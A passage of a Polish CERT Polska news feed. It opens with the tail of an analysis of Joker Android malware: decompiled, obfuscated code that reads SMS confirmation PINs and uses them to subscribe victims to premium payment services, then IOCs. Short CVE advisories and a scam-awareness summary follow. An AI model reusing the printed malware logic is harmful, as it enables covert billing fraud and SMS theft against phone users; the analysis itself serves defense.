&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str9&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;C0005LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f51LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="na"&gt;f18MdATElAc&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f52WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;BdnLopBC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;5_s5_content:&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;str9&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;W kolejnym kroku, jeśli żądanie się powiodło, aplikacja pobiera kod z SMS-a (jak wiemy z poprzednich kroków, aplikacja na bieżąco pobiera i zapisuje wiadomości SMS), który jest wymagany do potwierdzenia transakcji:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;LfUtNUXX2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f52WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;2::(kod|PIN|code).*?(\\d{3,6})&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;30029&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f52WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;BdnLopBC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;5_s5_pin:&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;LfUtNUXX2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Ostatecznie, po zdobyciu kodu PIN potrzebnego do zatwierdzenia transakcji, aplikacja wysyła potwierdzenie:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str10&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;https://epayment.teleaudio.pl/api2/ta/direct/confirm&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f52WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;BdnLopBC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;5_s6_data:&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;{\&amp;quot;TransactionId\&amp;quot;:\&amp;quot;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;str3&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;\&amp;quot;,\&amp;quot;Pin\&amp;quot;:\&amp;quot;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;LfUtNUXX2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;\&amp;quot;,\&amp;quot;Consents\&amp;quot;:null}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f52WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;BdnLopBC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;6_s6_content:&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;C0005LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f51LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="na"&gt;f18MdATElAc&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Po zatwierdzeniu transakcji, sprawdza jej status i weryfikuje, czy subskrypcja przebiegła pomyślnie:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str11&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;C0005LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f51LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://epayment.teleaudio.pl/api2/ta/direct/status/&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;str3&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;f18MdATElAc&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f52WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;BdnLopBC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;7_s7_content:&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;str11&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str11&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;contains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Transakcja zakończona pomyślnie.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;903&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;Podsumowanie&lt;/h2&gt;
&lt;p&gt;Kompleksowa analiza zachowania aplikacji ujawniła wyrafinowany i złośliwy mechanizm zaprojektowany w celu subskrybowania przez użytkowników usług premium bez ich wiedzy i zgody. Jest to wieloetapowy proces wykorzystujący szyfrowaną komunikację, zaciemniony kod i nieautoryzowany dostęp do wrażliwych danych użytkownika. Analizując każdy komponent i rozumiejąc przepływ operacji, możemy stwierdzić, że aplikacja stanowi poważne zagrożenie dla bezpieczeństwa, prywatności i finansów użytkowników.&lt;/p&gt;
&lt;h2&gt;IOC&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;MD5&lt;/span&gt;
&lt;span class="n"&gt;Pierwszy&lt;/span&gt; &lt;span class="n"&gt;etap&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;ad4d8037d6890f317dc28bb53c1eb03&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;onmybeauty&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;beautycamera&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;apk&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;play&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;google&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;apps&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;details&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;onmybeauty&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;beautycamera&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Drugi&lt;/span&gt; &lt;span class="n"&gt;etap&lt;/span&gt;
&lt;span class="n"&gt;f508a96654c355b8bd575f8d8ed8a157&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;decoded_kuwan&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dex&lt;/span&gt;
&lt;span class="n"&gt;kamisatu&lt;/span&gt;&lt;span class="p"&gt;[.]&lt;/span&gt;&lt;span class="n"&gt;top&lt;/span&gt;
&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;forga&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;oss&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;me&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;east&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;aliyuncs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Kuwan&lt;/span&gt;

&lt;span class="n"&gt;Inne&lt;/span&gt; &lt;span class="n"&gt;powiązane&lt;/span&gt; &lt;span class="n"&gt;próbki&lt;/span&gt; &lt;span class="n"&gt;z&lt;/span&gt; &lt;span class="n"&gt;kampanią&lt;/span&gt; &lt;span class="n"&gt;Joker&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="n"&gt;ostatnich&lt;/span&gt; &lt;span class="n"&gt;dniach&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="mi"&gt;962&lt;/span&gt;&lt;span class="n"&gt;c0590dd3d2cdb707e32ae8b30bcfc&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wersja&lt;/span&gt; &lt;span class="n"&gt;xapk&lt;/span&gt; &lt;span class="n"&gt;z&lt;/span&gt; &lt;span class="n"&gt;dołączoną&lt;/span&gt; &lt;span class="n"&gt;biblioteką&lt;/span&gt; &lt;span class="n"&gt;photolibrary&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;so&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;bcfe46df4d66cc3c6f92d281ceac53e1&lt;/span&gt;
&lt;span class="mi"&gt;5942&lt;/span&gt;&lt;span class="n"&gt;a2e46b29ddc1dd5d9373a8c419ad&lt;/span&gt;
&lt;span class="mi"&gt;62&lt;/span&gt;&lt;span class="n"&gt;d9b7cff4a09d7c3b7e8bcf9d00d196&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="News"></category><category term="joker"></category><category term="android"></category><category term="analiza"></category></entry><entry><title>Podatność w oprogramowaniu Redlink SDK</title><link href="https://cert.pl/posts/2024/09/CVE-2024-6051/" rel="alternate"></link><published>2024-09-30T14:30:00+01:00</published><updated>2024-09-30T14:30:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-09-30:/posts/2024/09/CVE-2024-6051/</id><summary type="html">W oprogramowaniu Redlink SDK firmy Vercom S.A. wykryto podatność typu Resource Injection i&amp;nbsp;nadano jej identyfikator CVE-2024-6051.</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Redlink SDK firmy Vercom S.A. i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-6051"&gt;CVE-2024-6051&lt;/a&gt; w określonych sytuacjach umożliwia lokalne wykonanie kodu i manipulowanie widokiem podatnej aplikacji. 
Podatność dotyczy oprogramowania Redlink SDK w wersjach do 1.13 włącznie.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Maksymilianowi Motylowi z firmy Immunity Systems.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu MegaBIP</title><link href="https://cert.pl/posts/2024/09/CVE-2024-6662/" rel="alternate"></link><published>2024-09-10T12:00:00+01:00</published><updated>2024-09-10T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-09-10:/posts/2024/09/CVE-2024-6662/</id><summary type="html">W oprogramowaniu MegaBIP wykryto 2 podatności różnego typu (CVE-2024-6662 oraz CVE-2024-6880).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;Zespół CERT Polska koordynował proces ujawniania informacji o dwóch podatnościach.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-6662"&gt;CVE-2024-6662&lt;/a&gt;, która została zgłoszona do zespołu CERT Polska, umożliwia ataki typu Cross-Site Request Forgery (CSRF), ponieważ formularz dostępny pod adresem &lt;em&gt;/edytor/index.php?id=7,7,0&lt;/em&gt; nie posiada odpowiednich mechanizmów ochronnych. Użytkownik może zostać nakłoniony do odwiedzenia szkodliwej strony, która wysłałaby żądanie POST zawierającego wypełnione dane formularza do tego endpointu. Jeśli ofiara jest zalogowanym administratorem, może to doprowadzić do utworzenia nowych kont i nadania im uprawnień administracyjnych.&lt;/p&gt;
&lt;p&gt;Zespół CERT Polska podczas własnych badań odkrył podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-6880"&gt;CVE-2024-6880&lt;/a&gt;. Podczas procesu instalacji MegaBIP użytkownik jest zachęcany do zmiany domyślnej ścieżki do portalu administracyjnego, ponieważ utrzymanie jej w tajemnicy jest wymienione przez autora jako jeden z mechanizmów ochronnych. Publicznie dostępny kod źródłowy pliku &lt;em&gt;/registered.php&lt;/em&gt; ujawnia tę ścieżkę, co umożliwia atakującemu podjęcie dalszych prób ataków.&lt;/p&gt;
&lt;p&gt;Według informacji otrzymanych od autora, obie podatności zostały usunięte w wersji 5.15 oprogramowania MegaBIP. &lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>CyberParawan 2024 - Podsumowanie</title><link href="https://cert.pl/posts/2024/08/cyberparawan2024-podsumowanie/" rel="alternate"></link><published>2024-08-30T14:00:00+01:00</published><updated>2024-08-30T14:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-08-30:/posts/2024/08/cyberparawan2024-podsumowanie/</id><summary type="html">W tegorocznej edycji cyklu #CyberParawan zamiast leżeć na plaży, zabraliśmy Was w podróż przez letnie strategie cyberprzestępców.</summary><content type="html">&lt;style&gt;
.article .thumbnail {
    display: inline-block;
    margin: 0 0 5px 20px;
    float: right;
    width: 100%;
    max-width: 450px;
}
&lt;/style&gt;

&lt;p&gt;&lt;img class="thumbnail" src="/uploads/2024/08/cyberparawan2024-podsumowanie/cyberparawan_outro.png" /&gt;&lt;/p&gt;
&lt;h2&gt;Turnus 1&lt;/h2&gt;
&lt;p&gt;Zaczęliśmy od oszustwa „na booking” – dla tych, którzy wciąż byli na etapie planowania swoich podróży. Oszuści przejmują konta obiektów w portalach rezerwacyjnych (nie tylko na tym, od którego oszustwo wzięło swoją nazwę), a&amp;nbsp;następnie wystawiają okazyjne oferty. Ale kontakt i przepływ pieniędzy odbywa się już poza portalem. Po takiej transakcji niczego nieświadomy turysta przybywa do niczego nieświadomego hotelu lub pensjonatu. Obsługa obiektu nic nie wie o&amp;nbsp;jakiejkolwiek rezerwacji. To prosty przepis na zepsute wakacje. &lt;/p&gt;
&lt;p&gt;Jak się chronić? Jeśli robimy rezerwację za pomocą portalu, to wszelkie inne czynności związane z obsługą tej transakcji również powinny odbywać się za jego pośrednictwem. Zwłaszcza opłaty! &lt;/p&gt;
&lt;h2&gt;Turnus 2&lt;/h2&gt;
&lt;p&gt;W drugiej odsłonie cyklu przypomnieliśmy schemat oszustwa, który dotyczy rodziców dzieci przebywających poza domem. Zaczyna się ono od wiadomości na WhatsAppie „Drogi rodzicu, zepsuł mi się telefon”. Oszustwo to ma na celu wyłudzenie pieniędzy, a więcej na jego temat można przeczytać w &lt;a href="https://cert.pl/posts/2023/08/wakacyjne-oszustwo"&gt;naszym tekście&lt;/a&gt;. &lt;/p&gt;
&lt;h2&gt;Turnus 3&lt;/h2&gt;
&lt;p&gt;Trzecią odsłonę cyklu przygotowaliśmy z myślą o wielbicielach wakacyjnych rozrywek. Zwłaszcza tych, na które bilety wyprzedają się w&amp;nbsp;mgnieniu oka. Na czym polega „oszustwo biletowe” i jak bezpiecznie kupić bilet z drugiej ręki? Napisaliśmy na ten temat &lt;a href="https://cert.pl/posts/2024/07/oszustwa-biletowe"&gt;cały tekst&lt;/a&gt;. &lt;/p&gt;
&lt;h2&gt;Turnus 4&lt;/h2&gt;
&lt;p&gt;Czwartą część cyklu opublikowaliśmy na półmetku wakacji, zatem kiedy część z nas miała już swoje wyjazdy za sobą. Wyobraźmy więc sobie, że po powrocie z zagranicy odbieramy telefon od obcej policji lub służby celnej. Niezbyt przyjemna wizja. Dlatego uspokajamy, to kolejna próba oszustwa. Taki telefon można spokojnie zignorować, a dopóki nie podamy swoich danych, nie grozi nam zupełnie nic. Numery do tych połączeń wybierane są przez przestępców losowo. &lt;/p&gt;
&lt;h2&gt;Turnus 5&lt;/h2&gt;
&lt;p&gt;Czy wiecie, że dziewczynka, z clickbajtów także wyjeżdża na wakacje? O ile w ciągu roku mogliśmy z sensacyjnych nagłówków dowiedzieć, że „dziewczynka wypadła z okna”, „szokujące wieści, dziewczynka ledwo uszła z życiem – zobacz video” lub „potrącenie dziewczynki – zobacz zdjęcia”, to w&amp;nbsp;wakacje przydarzają jej się bardziej letnie przygody w&amp;nbsp;bardziej turystycznych miejscach. W kwestii cyberhigieny nic to jednak nie zmienia. Jeśli klikamy w taki post na Facebooku, a&amp;nbsp;strona, na która trafiliśmy prosi nas o dane logowania w celu potwierdzenia naszego wieku – mamy do czynienia z próbą wyłudzeni danych logowania. Nie podawajmy danych, zamknijmy stronę i zapomnijmy o pechowej – i na szczęście nieistniejącej – dziewczynce. &lt;/p&gt;
&lt;p&gt;Mamy nadzieję, że podczas wakacji nie zetknęliście się z&amp;nbsp;żadnym z opisanych scenariuszy i mieliście okazję wypocząć i&amp;nbsp;przygotować się na długie jesienne wieczory. Na start roku szkolnego przygotowujemy dla Was cykl, który mamy nadzieję umili Wam powrót do rutyny, czyli #CyberOdKuchni. Tym razem chcemy się skupić na tym, jak pracujemy. I jak dbamy o&amp;nbsp;to, żeby polski internet był lepszym miejscem.&lt;/p&gt;</content><category term="News"></category><category term="CyberParawan"></category><category term="Aktualne zagrożenia"></category></entry><entry><title>Podatności w oprogramowaniu HyperView Geoportal Toolkit</title><link href="https://cert.pl/posts/2024/08/CVE-2024-6449/" rel="alternate"></link><published>2024-08-28T14:00:00+01:00</published><updated>2024-08-28T14:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-08-28:/posts/2024/08/CVE-2024-6449/</id><summary type="html">W oprogramowaniu HyperView Geoportal Toolkit wykryto 2 podatności różnego typu (CVE-2024-6449 oraz CVE-2024-6450).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu HyperView Geoportal Toolkit i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-6449"&gt;CVE-2024-6449&lt;/a&gt; polega na wykorzystaniu jednego z endpointów REST API w celu odwoływania się do niezaufanych zewnętrznych domen i pobierania z nich treści, w tym skryptów JavaScript, które następnie wykonane zostaną w przestrzeni użytkownika.
Jednocześnie, z wykorzystaniem tego endpointa możliwa jest ograniczona enumeracja sieci LAN, w której znajduje się serwer. &lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-6450"&gt;CVE-2024-6450&lt;/a&gt; typu Reflected XSS umożliwia wykonanie skryptu w przeglądarce użytkownika poprzez nakłonienie go do użycia spreparowanego linku. &lt;/p&gt;
&lt;p&gt;Wszystkie wersje oprogramowania niższe niż 8.5.0 są uważane za podatne.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Dariuszowi Gońda.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu ConnX ESP HR Management</title><link href="https://cert.pl/posts/2024/08/CVE-2024-7269/" rel="alternate"></link><published>2024-08-28T12:00:00+01:00</published><updated>2024-08-28T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-08-28:/posts/2024/08/CVE-2024-7269/</id><summary type="html">W oprogramowaniu ConnX ESP HR Management wykryto podatność typu  Stored XSS i nadano jej identyfikator CVE-2024-7269.</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu ConnX ESP HR Management i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-7269"&gt;CVE-2024-7269&lt;/a&gt; typu Stored XSS występuje w formularzu "Update of Personal Details". Atakujący może wstrzyknąć skrypt, który zostanie wykonany w przeglądarce użytkownika.&lt;/p&gt;
&lt;p&gt;Nie udało nam się skontaktować z producentem oprogramowania. Zgłaszający przekazał informację, że podatność została usunięta przez producenta oprogramowania ConnX ESP HR Management w wersji 6.6. &lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Mariuszowi Sepczukowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu routerów KAON AR2140</title><link href="https://cert.pl/posts/2024/08/CVE-2024-3659/" rel="alternate"></link><published>2024-08-08T12:00:00+01:00</published><updated>2024-08-08T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-08-08:/posts/2024/08/CVE-2024-3659/</id><summary type="html">W oprogramowaniu routerów KAON AR2140 wykryto podatność typu Command Injection (CVE-2024-3659).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu routerów KAON Group AR2140 i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-3659"&gt;CVE-2024-3659&lt;/a&gt; umożliwia wstrzyknięcie komendy poprzez przesłanie specjalnie w tym celu utworzonego żądania do jednego z&amp;nbsp;endpointów. 
W celu wykorzystania tej podatności, atakujący musi posiadać dostęp do portalu zarządzania routerem.&lt;/p&gt;
&lt;p&gt;Podatne są wszystkie wersje od 3.2.46 i przed 4.2.16. Wcześniejsze wersje nie były testowane, w związku z czym nie wiadomo czy są one podatne. &lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Arkadiuszowi Maruszczakowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu EZD RP</title><link href="https://cert.pl/posts/2024/08/CVE-2024-7265/" rel="alternate"></link><published>2024-08-07T12:00:00+01:00</published><updated>2024-08-07T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-08-07:/posts/2024/08/CVE-2024-7265/</id><summary type="html">W oprogramowaniu EZD RP wykryto 3 podatności różnego typu (od CVE-2024-7265 do CVE-2024-7267).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w rozwijanym przez NASK - PIB oprogramowaniu EZD RP i koordynował proces ujawniania informacji.&lt;/p&gt;
